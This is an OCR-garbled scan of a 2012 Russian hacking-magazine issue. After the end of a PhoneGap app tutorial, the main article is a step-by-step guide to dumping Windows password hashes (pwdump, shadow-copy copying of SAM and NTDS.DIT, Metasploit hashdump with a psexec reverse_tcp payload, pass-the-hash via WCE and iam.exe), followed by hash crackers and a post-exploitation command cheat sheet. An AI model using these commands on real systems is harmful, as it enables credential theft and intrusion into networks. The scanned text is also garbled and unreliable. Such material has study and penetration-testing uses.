обойти!. С помощью э·, ого набора можно разрабатывать приложе­ ния на нативном для

Objective-C. Но мы решили пойти об­ PhoneGap, поэтому нам еще нуж­ но установить пакет PhoneGap i05. Просто с качай архив с офсайта lhttps://g ithub .com/callback/phonegap/zipba ll /1.2 .01, распакуй его и в папке i05 запусти программу установки. Когда установка завер ­ шится, в меню проектов Xcode дол жна появиться иконка PhoneGap. i05

языке

UI-ФРЕЙМВОРКИ

ходным путем и воспользоваться

jQuery Moblle- это,

После запуска придется запо лнить несколько форм, но уже очень

использовать Ьile,

ХАКЕР

01/156/2012

с твоим первым приложен и-

PhoneGap

приведен

огромный список библиотек и фреймворков, которые ты можешь

скоро ты увидишь рабочую область

IDE

конечно, не единственный фреймворк для

создания мобильного интерфейса. На сайте

Zepto.js

[phonegap.com/tools l: 5encha Touch, lmpact, Dojo Mo-

и др.

039


PCZONE i f (button_id === 1) { // self.removePoint(point);

Нажата кнопка ОК

~

~Удалить все

Точки

Карта

} TIТLE );

},

П оследнее , что нам нужно nоменять,- это блок кода, nере ­ мещающиi.i иконку nользователя по карте. Н аш текущий код тоже

я на месте

работает, но работает менее оnтимально ln еремещает иконку, даже

Широта :

если координаты н е изменилисьl и дает н е такие богатые д анные, как аналог в

56 .84484567007557 ...

Ph oneGap:

navigator.geolocation.watchPosition( function (positio n) { self.movePerson( new gm.LatLng( position.coords.latitude, position.coords.longitude)); }, fu nction (error) { navigator. notification.alert( 'code: · + error.code + '\nmessage: ' + error.message, $.noop,

я на месте Широта :

56.84583899763894 ...

Работающее РhопеGар-nриложение

TIТLE

nриложение на

);

ч иком

}' {

frequency:

iOS

iOS,

необходимо быт ь авторизированным разработ­

!другими словами, быть nодnисанным на

iOS

D eve l ope г

Pгogгaml. Этим nридется заморочит ься только в случае разра­

зеее

});

ботки nриложе н ий для nродукции

IAndгoid, Этот ко д бо л ее изящный- он генерирует соб ыти е т о лько тогда, когда координаты изменились. Жмем кноnку

Run

и убеж­

Windows Phonel

App le,

с другими nлатформами

все намного nр още. У тех, кто обучае тся

в вузе, ест ь шан с nолучить д остуn к nрограмм е бесnлатно благо­

даря каким-нибудь льготам. Все остал ьны е должны nлатить

$99

даемся, что только что созданное нами nриложение отлично

в год для участия в nрограмме .

работает в симуляторе iОS - устройства' П ора nристуnать к заnуску

ты сможешь n одnисывать свой код. П о дn исанное nрило жение

разрешается за n ускат ь на

на реальном устройстве.

ты н е студе нт, а

ЗАПУСК НА УСТРОЙСТВЕ или

nущен

оnределит ново е устройство и nоnро­

iPad

к комnьютеру, на котором за­

сит разрешения исnол ьз о в а ть его д ля разработки. Н ет см ы сла

ей отказывать

:1.

выдает сертификат, которым

и расnространять в Арр Stoгe. Если

$99 для невинных эксnериментов тебе nока жалко,

то есть и другой сnособ - обмануть сис т ему. Ты може шь соз дать

П одсоедини

iPhone, iPod Xcode. Программ а

iOS

Apple

П ов т орю еще раз : чтобы заnустить наnисанное

самоnодnисанный сер тифи кат для верификации ко да и за n устить мобильную nрограмму на джейлбрейкнутом iОS - устройстве

!не буду на этом останавливаться, nотому что все максимально nодробн о расnисано в этой статье: Ьit .l y/tD6xA !I . Так или иначе , ты вскоре увидишь работающее nриложениена экране своего мобильного телефона. Ос тан авливай секундомер. Сколько времени у тебя на это у шл о?

ДРУГИЕ ПЛАТФОРМЫ

ЗАКЛЮЧЕНИЕ Мы создали nростое мобил ьн ое веб-nриложение и в несколько nростых шагов nортирова ли его на nлатф орму

Кроме

PhoneGap,

су щ ес тв уют и др угие nл атформы, позволяющие

PhoneGap.

Мы не наnисали ни строчки ко д а на

iOS с n омощ ью Objective-C,

соз д авать мобильные nриложения без исnользования нативных

но nолучили nрограмму nриличного качества, nотратив минимум

языков . П еречислим наиболее крутых игроков.

времени на nеренос и изучение

API PhoneGap.

Е сли ты nред­

nочитаешь другую nлатформу, наnример An dг o id или

Appcelerator Titanium

lwww . appceleгatoг. com l.

Titanium умеет собирать п риложения в iPhone, но в нем также заявлена

Andгoid и

MoЬile

nервую очередь под nоддержка ВlасkВеггу.

Кроме самого фреймворка, nроект nредоставляет набор нативных виджетов и

nium

IDE . Ты

може шь разрабатывать nрил оже ни я на

Tita-

бесnлатно, однако за поддержку и д о n ол нительные модули

придется заплатить [от

$49 в месяц]. Ц ена некоторых сторонних

модулей доходит до $120 за год. Разработчики Аррсе l егаtог у т верждают, что на основе их фреймфор ка наn иса но бо л ее

Titanium 25

тысяч приложений. Исходный код nроекта расnрос т раняется nод лицензией

Apache 2.

7,

nлатформы, сможешь собрать наше nриложение !для каждой из них есть хороший вводный мануал и видеоурок: можно nосмотреть на уже г о т овые nриложения на

лерее

lphonegap .co m/apps ]. П о

Эта технология nоддерживает основные платформы-

iOS и An-

ведь разработчики заявляют о высококачественной о пти мизации Бесплатной версии у nлатформы нет, а цен а довольн о-таки

кусачая: $199 в год за лицензию для о дн ой nлатформы и $349 в год

iOS

и Andгoid. Согоnа nр едлагает свою

IDE

и эмуляторы устройств .

Приложения под Согоnа пишут на языке, похожем на JavaScгipt.

01.0

факту

PhoneGap-

зто идеаль­

ная nл атфо рма для соз д ания как минимум nр о т оти n а бу д у щ его nриложения. Е е главными nр еиму ще ствами являются быстрота и минимум затратат , чем активно nользуются стартаnы, которые

HTML+JS

тебя по какой -то nричине

nерестанут ус траи вать, всегд а можно будет n ортировать nри­

dгoid. Фреймворк нацелен в основном на разработку игр. Ещ е бы,

для

Ph oneGap,

которые разработчики технологии собрали в сnециальной га­

nопрет, а внутренности на

OpenGL.

phonegap .

com/sta г t l . Что бы убедиться в состоя тельно сти nлат формы,

во всех отношениях ограничены в ресурсах. Если nриложение

Corona SDK l www . anscamoЬile . com/coгona l .

на

Windows

то ты так же легко, без каких-либо изменений nод эти

ложениена нативный язык. Не могу не сказат ь , чт о

Ph one Gap

изначально разрабатывался комnанией NitoЬi как открытый

nроект lре n озиторий расnолагаетс я на GitHub: github .com/ Исходники и дальше будут оста ваться откры тым , хо тя

phonegap l.

в октябре nрошлого года комnанию Ni toЬi куnил

Adobe . Н ужно

ли говорить, какие nерсnективы nоявляются у nр оекта nри nод­

держке в лице такого гиганта? :х:

ХАКЕР

01 / 156/2 01 2


КУР ЕНИЕ

У БИВАЕТ

Реклама . Товар произведен в соответствии с Техническим Регламентом на табачную продукцию .


PCZONE

Антон «Ant» Жуков

la.zhukov!Oreal.xakep.rul

РЕ ЕПТОВ

ПРИГ ТОВЛЕНИЯ WINDOWS-ПAPOЛEИ КАК СДАМПИТЬ И ИСПОЛЬЗОВАТЬ ХЕШИ

ПАРОЛЕЙ ОТ УЧЕТОК WINDOWS-CИCTEMЫ Эта статья представляет собой полный сборник рецептов, описывающих, как

ГДЕ ПАРОЛИ? Сразу отвечу на вопрос о том, где хранятся хеш и паралей в системе. В общем случае их можно извлечь из трех мест :

из локальной SАМ-базы, где х ранятся LM/NTLM- xe ши локальных пользователей ;

из кеш а

LSA, в который попадают LM/NTLM-xeши доменных поль­

зователей, стираемые после перезагруз к и ;

из специального кеша, где сохраняются МSСасhе- хеши паралей десяти последних п ользователей, которые авторизовались на дан­

ном хаете !па роли кешируются, чтобы можно было войти в систему, если связ ь с доменом временно отсутств ует ! . Е сли используется контроллер домена , есть еще дО-хранилище. Важно понимать одно: из каждого указанного места парали можно

сдампить хеши пользовательских паролей,

сдам пить ! Большин ство приведенны х ниже приемов давно извест­

восстановить исходный пасс путем

ны, но мы решили сделать своего рода полный сборник рецептов , к

выполнения брутфорса и получить с помощью

которому ты всегда сможешь обратиться при необходимости. Ниже

извлеченного хеша доступ к защищенным

ресурсам, используя недоработки протокола

7

готовых к употреблению реце птов .

1

PWDUMP И FGDUMP

аутентификации NTLM. Минимум теории­ только практика. Мы собрали все в одном месте и создали полный мануал.

Начнем с ситуации, когда у на с есть физический доступ к интересующей

нас системе . В этом случае NTLM / LM-xeши можно сдампить с пом о щью с пециальны х утилит. В большинстве своем эти тулзы требуют высоких привилегий, так как они не обходи мы для DLL-инжекта с помощью SeDebugPгivilege . Будем для пр остоты считать, что у нас есть аккаунт с

пр ава ми администратора la еще лучше NT AUTHORIТY\SYSTEMI . Если имеется физический до сту п, сдамить хеш и д о вольно про сто :

есть много способов, к тому же всегда можно загрузить с флешки

!или Live CDI, например, Коп-Вооt lwww.piotrbaпia . com/all/kon-boot l, чтобы войти в систему под любым пользователем . Есть и много дру ­

гих ха ков lв том числе для повышения привилегий до NT AUTHORITY\ SYSTEM с локального админаl , о которых мы не раз писали в рубрике Ea syHack в прошлом году . Но вернемся к процессу извлечения хешей. Самыми известными утили тами для создания дампа хешей

являются pwd ump lwww.foofus .net/-fizzgig/pwdump l и fgdump lwww. foofus .net/-fizzgig/fgdump l. Работать с этими тупзам и достаточно просто, да и по функционалу они очень похожи. Для дампа хе ш ей до­ с таточно просто запустить пр оги :

pwdump localhost fgdump . exe Первая утилита выводит найденные хе шинепосредст венно в

консоль . Вторая же сохр аняет результат в файла х

127.0.0.1.PWDUMP

lхеши паралей ло каль ны х пользователей! и 127.0.0.1 .CACHEDUMP lзаке шированные хеш и паралей доменны х пользователей! .

ХАКЕР

01/156/2012


Семь рецептов приг ото вп ения Wiпdows-пapoлeй

Одна из наиболее интересных опций, которую поддерживают обе ути литы , позволяет дампить хе ш и с удал енных машин. Чтобы пр о в ер ­ нуть этот фокус, скажем, с помощью

pwdump,

надо выполнить :

> pwdump - о mytarget . log -u MYDOMAIN \s omeuser ' lamepassword' 10 . 1.1.1 Здесь 10.1.1 .1 -

\

адрес удаленной машины, MYDOMAIN \

someuseг- аккау нт пользователя, la mepasswoгd- па роль пользо­

вателя, а mytaгget.log - файл для сохранения результатов. В отличие от

pwdump, fgdump

умеет дампить хеши не только с одной машины, а

сразу с нескольких :

> fgdump .exe -f hostfile . txt -u MYDOMAIN\someuser В данн ом случае

1О >> - колич ество

hostfile.txt- файл,

Получаем хз wи локальных nользователей nри nомощи

pwdump

10

содержа щи й с пи сок хостов, <<- Т

параллел ь на работаю щи х пото ков. П ол уче нный хе ш

можно попробовать сб рутфорсить с по мо щью с п е ци а льны х утилит, чтобы

уз нать исходный пасс !ищи целую п одборку подходящих тулз на врезке!. Пр имечательно, что некоторые из них для большего уд обст ва под­

держивают формат вывода

2

fgdump.exe.

ДАМП ПАРОЛЕЙ С ПОМОЩЬЮ

VOLUME SH AOOW

Если утилитам вроде

pwdump

и

СОРУ

Подменяем свои данные на данные другого nользователя nри nомощи Cгedentials Editoг (WCEI

Windows

работы в консоли, воспольз уемся небольшим ск рипт иком

vssown.vbs

SERVICE

fgdump

сто лет в обед, то способ дам­

itools .l anmasteг53 . co m /vss ow n . v bs l, у правляющим создан ием копий .

пинга па ролей, о котором пойдет речь далее, появился относительно

Сценарий ты найдешь на нашем ди ске. Дл я начала за п ускаем сервис

недавно . Что кру ч е всего, он вообще н е требует сторон ни х инстру­

тенев ого ко пирования:

ментов и за действует только возможности самой системы . Как мы

новую теневую ко пию:

уже знаем, хе ш и па ролей локальны х польз о в ател ей храня тся в том

с пис ок всех теневых

числе и в файле

SAM,

правд а, в за шифр ованном виде. По этому, чтобы

cscript vssown. vbs /start. Затем создаем cscript vssown.vbs /c reate. Теп ерь смотрим копий: cscript vssown. vbs /list.

Созданная н ам и копия будет самой последн ей. Из в сей инфор­

использует, поэтому доступ к ним неваэмажен даже из-под админи­

Device object со значением «\\ ?\G LOBALROOT\ Device\HaгddiskVolumeShadowCopy14 >> !здесь 14 - номер теневой копии!. Дальнейшие манипуляции предельно просты.

стратора. Из-за этого многим прило же ниям , которые извлекают хеш и

1.

прочитать их, требуется еще один файл-

SYSTEM . Эти

два файла

представляют собой системные ветви реестра, которые ОС п остоянно

мации нас интересует

Копируем интересующие нас файлы:

па ролей , приходится идти на ухи щр ения, чтобы п олучить доступ к этим ветвям. Мы же, чтобы ско пир овать эти файлы, воспользуемся

сору \\?\GLOBALROOT \ Device\HarddiskVolume5hadowCopy14\ wi ndows\sys tem32 \ config \ SYSTEM . сору \\?\GLOBALROOT \Device\HarddiskVolumeShadowCopy14\ windows\sys tem32 \co nfig \SAM .

легальным механизмом, кото ры й пр ед оставляет сама ОС. Этот меха­ низм, позволяющий делать «м гн овенный снимок>> тома, называется

Volume Shadow Сору Seгvice !теневое копирование тома! . Он появился в ОС Windows начиная с в ерсий ХР и Sе гvег 2003. Эта технология авт ома тиче ски используется, например, при создании архива System Sta te с помощью утилиты ntbackup или при создании снимка для об щей папки IVolume Shadow Сору fог Shaгed Foldeг s l . Суть идеи

2.

Все, теперь эти файлы можно скормить какой-нибудь ут илите типа

SAM in side l i n si d ep г o.com/гus/saminsi d e.shtm l l для расшифровки полученных хешей.

состоит в том , что при теневом копировании будут созда ны копии

важных системных файлов lв частности,

SAM и SYSTEMI, до сту п к

которым мы сможем легко получить. Чтобы избавиться от лишней

ДАМП ПАРОЛЕЙ_ВСЕХ

з

ПОЛЬЗОВАТЕЛЕИ ДОМЕНА!

Интересно , что используя предыдущий прием, мож н о л е гк о слить хеш и паралей не тол ь ко локальных, н о и вообще всех доменных пользователей! Правда , только если у н ас ес ть доступ к контроллеру

ВЫКЛЮЧАЕМ КЕШИРОВАНИЕ

домена. Пр ед п о л ожим, мы соз дали теневую копию и ско пировал и

ХЕШЕЙ ПАРОЛЕЙ

лях в файле

Как известно,

сору \\?\GLOBALROOT \ Device \ HarddiskVolume5hadowCopy14\ windows\ntds\ntds.dit .

Wi nd ows

кеширует хе ш и пар а л ей и л огины дом е нны х

файлы

SAM

и

SYSTEM. Active Diг ecto гy хранит данные о пользовате­ NTDS.DIT, так что нужно скопиро вать и его:

пользователей , ч т о п оз воляет зай ти на машину, если ко нтр оллер до­

мена отключен и недоступен. Если п ользователь вводит правильный

Данные о пользователях хра нятся в за шифр ованном виде, позт о ­

лаги н и па роль, то п ри авторизации сис т ема сохра н яет хе ш п а рол я на

му их нужно будет расшифровывать с п омо щь ю файла

диске. Как ты сам понимаешь, держать та кие данные н а ди ске - н е

что мы имеем? У нас есть файлы

SYSTEM

и

NTDS.DIT,

SYSTEM.

Итак ,

но как нам

самое лучшее решение с точ ки зрения безопасности, так что эту функ­

n олучить сnисок п ользова телей и их хе ш ей? Д о недавнего вр емени

цию лучше отключить. Для этого н еобход имо уста н ови ть ключ НКЕУ_

это было не просто , так как беспла тны х ути лит, с nо соб ны х распар ­

LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\C uггentVeгsion\ Winlogon\cachedlogonscount в з нач ение «0>>. Затем н адо перезагрузить

сить

компьютер, что бы удали ть все закешированные ранее п ароли . С этого

умеет разбирать файл

момента в инда не будет кешировать п а роли п о ль зовате л ей домена.

инструментарий д оступе н п о адресу csa b abaгta.com/down l oads/

ХАКЕР

01/156/2012

NTDS.DIT

и расшифровать хеши, н е су щ ествовало . Но недавно

исследователь по имени

Csaba Вагtа выпустил тулкит, который NTDS.DI T и извлекать оттуда хе ш и. В есь


PCZONE ntds dump has h.zip. Посмотрим,

как этот тулкит работает. Для

дальнейших маниnуляций будем исnользовать BackTгack5 !nодой­ дет любой другой Linuх-дистрибутив], хотя все то же самое можно nровернуть и под виндой. Загружаемся, скачиваем архив тулкита и распаковываем его. Далее собираем библиотеку

libesedb:

cd libesedb chmod +х configure ./configure && make

о

..- ..... ...~""...ш"'

е

e su~т_

. ..s.o

1000 1011.1: lOM

<~ ..Ы.d ~

•СММIМ ~

'"'"'""'"

11111111111111

<Di ..ЫOd ~

."'...

<Di нt>lod ~

<fmptp

m

O tntuo.,. о

---··--·· f .. 5ae7te7 11tttlA...

о •-

O u<•c

........

Z01?1..0."'6 1 D:IAМIS , •.

Расшифровываем парали при помощи SAMiпside как это выглядит на практике:

Теперь можно приступать к дампу хэшей. Пр ежде всего извлекаем таблицу, содержащую з ашифрованные данные:

cd esedbtools . / esedbdumphash .. / .. /ntds .dit У нас п оявился файл /l ibe sedb/esedbtools/ntds.dit.expoгt/datatable. Уже профит. Теперь его надо расшифровать при помощи ключа, кото­ рый содержится в

SYSTEM:

cd .. / .. /creddump/ python ./dsdump.py .. /SYSTEM •. /libesedb/esedbtools/ntds.dit.export/datataЬle Готово! На выходе получаем хеш и всех пользователей домена!

Интересно, что можно извлечь еще и предыду щие пароли пользо­

> sudo . /hashgrab2.py HashGrab v2.e Ьу sЗmyen http: // InterNeT.net Contact: RuSH4ck3R[at]gmail(dot]com [*] Mounted /dev/sdal to /mnt/jomATB [*] Mounted /dev/sdЬl to / mnt / AZwJU s [*] Copying SAM and SYSTEM files ... [ * ] Unmounting partitions . .. [ * ] Deleting mount directories .. • [*] Deleting [ ' . / jomATB'] >$ ls hashgrab2.py jomATB.txt >$ cat . /jomATB.txt Administrator : HASH Guest:Sel:HASH

вателей !их х еши] . Для этого в инструментарии имеется отдельная

sзmyen : leee:ндsн

утилита, которую легко задействовать:

HomeGroupUser$:1882:HASH

python . / dsdumphistory . ру

. . /system .. /libesedb/esedbtools/ntds.dit.export / datataЬle. Если их удастся взломать, вполне можно проследить закономер­

Полученные хеш и тут же можно скормить брутфорсеру.

ность, в соответствии с которой пользователь меняет свои па роли

!она очень часто существует] .

'

5

HASHGRAB2+ SAMDUMP2

возможности

METASPLOIT

Доп устим теперь, что у нас нет физического доступа к компьютеру. Пусть вместо этого у нас имеется удаленный шелл и в идеале Меtегргеtег. В

Чтобы сдампить хеш и, необязательно логиниться в системе.

Metasploit

Опять же, если есть физический доступ к компьютеру, то можно

пользователей и хешей паролей . Делается это в одну команду:

Fгamewoгk уже встроен функционал для извлечения списка

не только загрузить с LiveCO утилиту для сброса пароля !скажем, Offline NT Passwoгd & Registгy Edi t oг], но и легко сдампить хеши с

meterpreter > run post/windows/gather/hashdump

помощью специальногософта-еще бы , ведь никакие политики доступа к системным файлам тут не действуют. Мы воспользуем­

В ре зультате мы получаем список пользователей и хешей. Н о

ся утилитами HashGгab2l py 1 337 . get- г oot . com / too l s/has h gгab2 . .Щ!] и samsump2 l souгcefoгge.net/pгojec t s /ophcгack/ f iles / samdump2 / 2.0.1], которые можно запустить практически из любого

функциональная, поэтому можно попробовать использовать получен­

LivеСО-дистрибутива . HashGгab2 автоматически монтирует все

подойдут. Для этого пригодится модуль

о станавливаться н а достигнутом не стоит .

Metasploit-

штука много­

ные хеш и для доступа к другим компьютерам в сети жертвы- вдруг

PsExec:

Windows-paздeлы, которые может найти, и при nомощи извлекает логины и хеш и па ролей и з файлов

SAM

и

samdump2 SYSTEM . Вот

meterpreter > use exploit/windows/smb /psexec

ПРОГРАММЫ ДЛЯ ВЗЛОМАХЕШ ЕЙ SAMinside insidepro.comlrus/sami nside.shtml

lm2ntcrack

ighashgpu

www.xmco.fr/lm2ntcracklindex .html

www gol ubev.com/ hashgpu.htm

Пожалуй, самая популярная программа для взлома

Небольшая программка, которая может выручить

Процесс подбора очень трудоемкий и занимает

NТLМ-хешей. Позволяет импортировать свыше де­

в трудный момент. Она позволяетвзломать NТ­

много времени. Поэтому, чтобы как-то егоуско­

сяти типов данных и использова т ь шесть видов атак

хеш, когда LМ-парольуже известен. Вся фишка

рит~целесообразноиспользоватьресурсысамо ­

для восстановления па ролей п ользователей.Код

в том, что LМ-пароль регис тр онезависимый, а

го мощногоустройства в системе-видеокарт ы.

брутфорсера полностью написан на ас м е, что обе ­

NT -регистрозависимый и как раз по нему и

Программаighаshgрuпозволяетзадействовать

спечивает очень высокую скорость nеребора. Очень

проис х одит проверка. Таким образом , е слиты

GРUдля взлома хеш ей

важно, что программа корректно извлекает имена

знаешь , что LM-пapoль-ADMINISTRATOR, но не

Ога с lе

и па роли пользователей Windows в национальных

знаешь, какие буквы з аглавные, а какие нет, тебе

зовать атаку по словарю , успешный результат

кодировках символов.

поможет lm2пtcгa c k .

можно будет получить намного быстрее .

MD4, MD5, SHA1, NTLM, 11g, MySQL5, MSSQL. Если при этом исполь­

ХАКЕР

01 /156/2 01 2


Семь рецептов приготовления Windows-napoлeй

meterpreter > set payload wiпdows/meterpreter/reverse_tcp meterpreter > set rhost (адрес удаленного хоста] meterpreter > set smbpass (ранее полученный хеш

бо~~·-~

-' "'~O.I!ii l!i!

+ il

v ·- ~ """"'"'" oq~ r..

O t Jt

-

пользователя]

meterpreter meterpreter meterpreter meterpreter

> set smbuser [логин пользователя] > set lhost [адрес локальной машины] > exploit > shell - получили шелл на удаленной

ll3«.PJI~ •••

:I08Dt69'1D71Ьiill:\117 ,,,

·~·

31D6CI'!IXIIW931 •••

AI031НRSI~ •• DlofSOC1(0lll~ •• АЮ. . 3б1151~ .•.

машине

Как видишь, все происходит автоматически, без всяких сложно­ стей. Чтобы дальше ковыряться с любыми файлами системы, полезно

сразу поднять права. Получить их можно прямо из Метерпретера, в котором есть простая команда

getsystem . Этот модуль попробует под­ MS09-012, а также нашумев­ шую уязвимость MS10-015 [KiTrapDDI и не только. нять права в ОС, используя уязвимости

6

ТЕХНИКА

NTLM

есть большая дырка. Для

аутентификации достаточно знать только хеш пользователя, то есть

брутфорса

NTML хзwей

!кроме этого поддерживает взлом хзwей большого количества других алгоритмов!

WINDOWS CREDENTIALS EDITOR

7

PASS-THE-HASH

В обеих реализациях протокола

Cain&Abel- еще одна замечательная ту л за для

WCE

представляет собой аналог

Pass-the-Hash Toolkit'a,

однако здесь

весь функционал сосредоточен в одном исполняемом файле. Этот

даже брутить ничего не надо . Достал хеш- и можешь лазить по

инструмент мне нравится больше . При запуске без параметров при­

сетке с правами скомпрометированного юзера :1. Соответствую-

ложение возвращает список пользователей, залогиненных на данный

щий метод, который носит название

момент в системе [утилита вытаскивает NTLM/LM-xeши из памяти!:

в

1997

Pass The Hash,

разработан аж

году. Одной из его самых известных реализацией является

набор утилит Pass-the-Hash Toolkit. В него входит три утилиты [oss. coresecu rity.com/projects/pshtoolkit.htmll: IAM.EXE, WHOSTHERE. ЕХЕ и GENHASH .EXE. Как видно из названия, GENHASH предназначена для генерации LM- и NТ-хешей переданног о ей пароля . WHOSTHERE.

wce.exe -1

ЕХЕ, выводит всю информацию о логин-сессиях, которую операци­

нужно п одменить свои данные на данные другого пользователя и за­

онная система хранит в памяти. Тулза отображает информацию о

пустить какую-нибудь программу якобы уже из-под него:

После это го можно выбрать из них подходящего кан дидата для наших черных дел и воспользоваться его данными. Допустим , нам

пользователях, которые на данный момент залогиненыв системе:

имя юзера, домен/рабочую группу и NТLМ-хеши пароля. Утилита IAM. ЕХЕ позволяет прикинуться другим пользователем при получении

wce.exe -s <userпame>:<domai п >:< lmhash >:<пthas h> \ -с <program> .

доступа к какой -либо папке на удаленной машине, подменяя данные

текущего пользователя [лаги н, хеш пароля , домен и т. д.l, когда они

Тогда выполняем следующую команду:

в закешированном виде отправляются удаленной системе, чтобы она могла идентифицировать пользователя и решить, предоставлять

wce.exe -s

ли ему доступ к запрашиваемому ресурсу. После успешной подмены

:579118C49145815C47ECD267657D3174 Iпterпet Explorer \ iexplore . exe"

все сетевые соединения с удаленным и серверами, осуществляющие

user:Victim:1F27ACDE849935BBAADЗB435B51484EE

"c: \ Program Files \

аутентификацию с помощью NТLМ-хешей, используют подмененные данные, что позволяет получить доступ к <<чужой» шаре. Рассмотрим

Здесь меном

примерный сценарий использования:

<<-S» <<добавляет» нового пользователя с именем user и до ­ Victim, за которыми следует LM- и NTLM-xeщ а <<-С>> указыва­

ет, какую программу следует запустить под этим пользователем. Как

• whosthere.exe-

получаем данные всех залогиненных

видишь, все довольно просто. :1

пользователей;

• iam.exe -h

administrator:mydomain:AAD384358514@4EEAADЗB

4358514@4EE:31DбCFEeD16AE931873C59D7EeCe89Ce свои

данные

на

данные

другого

-

подменяем

ЗАКЛЮЧЕНИЕ Вот, собственно, и все . Мы рассмотрели все наиболее часто встре­

чающиеся ситуации. На самом деле существует гораздо больше

пользователя.

способов, позволяющих увести [например, с помощью снифераl и Вот, собственно, и все, теперь мы имеем права для доступа к

CUDA-Multiforcer

www.cгypto h aze.co m /multi fo гc eг. php

использовать хеш и, но в большинстве своем они сводятся к рассмо­ тренным выше методам. ::Х:

сетевым ресурсам другого пользователя.

ophcrack

John the Ripper

о pfi cr а ck.so urceforg е . net

www.openwall .cam

Еще одна утилита, использующая мощь графи­

Программадля восстановления nаралей Windows

Официальная версия этого легендарного брутфор­

ческой карты для взлома различных хешей. Как

с использованием гаiпЬоw-таблиц. В такихтабли­

сера паралей не поддерживает взлом NТLМ-хешей,

можно догадаться по названию, ориентирована

цах в особой форме содержатся предварительно

но энтузиасты не могли не прокачать функционал

на видеокарты фирмы пVidia. Поддерживает вну­

рассчитанные хеш и для разных паролей . Таким

любимой хак-тулзы. Выпущен специальныйjumЬо­

шительный список хеш ей :

образом, найдя заданный хэш в таблице, мы бы­

патч, который позволяет брутфорсить более десяти

стро получаем готовый па роль. Успех напрямую

дополнительных видов хеш ей, в то м числе

зависит от размера гаinЬоw-таблицы. Так что,

Н а офсайте есть как diff'ы, которые можно наложить

если не хочется брутить па роль тупым перебором,

на оригинальные сорцы, так и готовые к использо­

рекомендуюскачатьтабличкупобольше.

ванию бинарники [в том числе для win321 .

MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5_PS: md5[$pass.$saltl, MD5_SP: md5[$salt.$passl, SSHA: base64[sha1 [$pass.$saltll, DOUBLEMD5: md5[md5[$passil, TRIPLEMD5, LM: Microsoft LaпMan hash и др.

ХАКЕР

01/156/2012

NTLM .


Правила Выяснилось страшное. Многие не знают, что делать, получив шелл к удаленной Windows-cиcтeмe, как с ним быть? Консоль пугает своей простотой и пр и водит в растерянность . Что нужно знать пентестеру, чтобы чувствовать себя комфортнее? Наши ответы мы оформили в виде таблиц-шпаргалок , разбив заготовки полезных команд на несколько разделов .

Посnе поnучения доступа к одной системе пентестерам и зnоумыwnенникам зачастую удается развить атаку и до­

РАБОТА

браться до других рабочих станций и серверов в nокаnьной сети . Дnя изучения топологии и структуры сети, однако,

С СЕТЬЮ

nригодны не тоnько известные сканеры безопасности (вроде

nmap, который нужно еще как-то загрузить на

маwину),

но и некоторые стандартные команды системы .

ipconf ig /all

Отображает полную информацию о сетевых адаптерах.

ipconfig /displaydns

Отоб р ажает лока льн ы й D NS-кe ш .

-~

Отображает все сетевые ТСР/UОР-соединения. Ключ « -Ь » позволяет сразу получить еще и име н а п ро цессов,

netstat - nabo netstat -s

............................................

которыми эти соединения были установлены, однако эта команда требует администраторских прав .

' Кома нда пetsta t отоб р ажает стат истику и список соеди н ений п о какому- либо п ротокол у [ ТСР, UDP, ICMP, IPI.

[tcpludplicpmlip]

·: .. ·······

j netstat -г : route print

j

Для вывода табли цы маршрутизации пригодна любая из этих кома нд . С их п омо щь ю можно п ол у ч ит ь

: ин ф ормацию о д ру г их п од сетях и статических маршрутах. '''''''f'

.,... ....

......................

.

.

..... .......

. ..................... . ..................... .

В от таким об р азо м мож н о п осмотр еть, какие соед ин е н ия уста новл е н ы н а п о ртах, содержа щ их з н аче ни я

j netstat -па 1 findstr :445

445.

net view

С помощью этой команды через SMB можно найти всехостыв текущей рабочей гру п пе [домене!.

net user %USERNAME% /domain

о локальном юзе р еl. П омимо всего п роче го, отображаются чл енство в гру пп ах, врем я п оследне й установки

Команда вывод ит информацию о текущем п ользователе домена [убе ри кл ю ч '/do m aiп', чтоб ы пол уч ить дан ны е па р о л я, скри пт ы дл я а в тозапуска и т. д .

j net accounts

Отображает политику паралей для текущей системы [она может быть переопределена политикой доме н а! .

j.. ~.e·t ·~.c~~.unts /do~·~·i· ~............... .

П оказы в ает п ол и ти ку п а р а л ей в домене.

!

net localgroup administrators

Отоб р ажает членов локальной группы «Администрато р ы».

net localgroup administrators /domain

Отображает ч л е н о в г ру пп ы «Ад м ин истр ато ры >> дл я до м е н а .

... ............................. ..... ................................ .

············· ............ .

!. ".~t .~.~nfig ~o~.~~-t~t·i·~-~ ................. ,....

.. .. .

: net share ;,

....

~

а гр -а

Отображает такую инфо р мацию, как имя

·

Отобр��жает все S МВ - ш ар ы . Отображает АRР-табли цу локальной машины.

. . . . ...... ... ....... ....... .... ... ... ........ ....... ...... : type %WINDIR%\System32\drivers\etc\ j hosts

NetBIOS, имя компьютера, п ользователя, домена, рабочей груп п ы и т. д .

....... .... ... .... ............................ ......................... ... .................... .... ....................................................................... .

................ .........................

П оказывает соде рж и мое ф а йл а

.... hosts.

. ....................................... ..


Одна из первостепенных задач поспе поnучения шenna к удаленномухосту-собрать максимум информации о системе.

ИНФОРМАЦИЯ

Приведеиные ниже команды помогут тебе по крупинке воссоздать полный (Фбnик~~ удаленной машины: с какой ОС ты име­

О СИСТЕМЕ

ешь деnо (от этоrо будет зависеть возможность использования тех или иных команд), какие сервисы запущены, какие задачи определены в планировщике, под каким пользователем выполнен вход в систему, какие у неrо есть привиnеrии и т. д.

П од каким п ользователем выполнен вход в систему? Это команда отображает текущего пользователя и домен. Ключ

whoami

'/all' позволяет дополнительно получить 510 юз ера, а также имена и 510 гру пп , к которым он принадлежит !вдруг whoami /all

в этом списке будет группа «Администраторы »? ! .

qwinsta

С сервером, возможно, кто-то работает удаленно . Чтобы узнать об активных RОР-сессиях !подключениях к удаленному рабочему столу!, можно использовать эту команду. Команда возвращает версию ядра (как uпame в н иксах!, что позволяет точно определить, с какой ОС ты имеешь дело.

vег

........... ... .... ... ................... ...... ...... ...

. ................

..................

Переменные окруже ния- важная настройка системы. Команда

. ........................................... .

выводит их в виде списка, в котором для каждой

set

: переменной указано значение. Обратить внимание стоит в первую очередь на USERDOMAIN, USERNAME, USERPRO; FILE, НОМЕРАТН, LOGONSERVER, COMPUTERNAME, APPDATA, и ALLUSERPROFILE. Названия говорят сами за себя.

systeminfo (XP+I

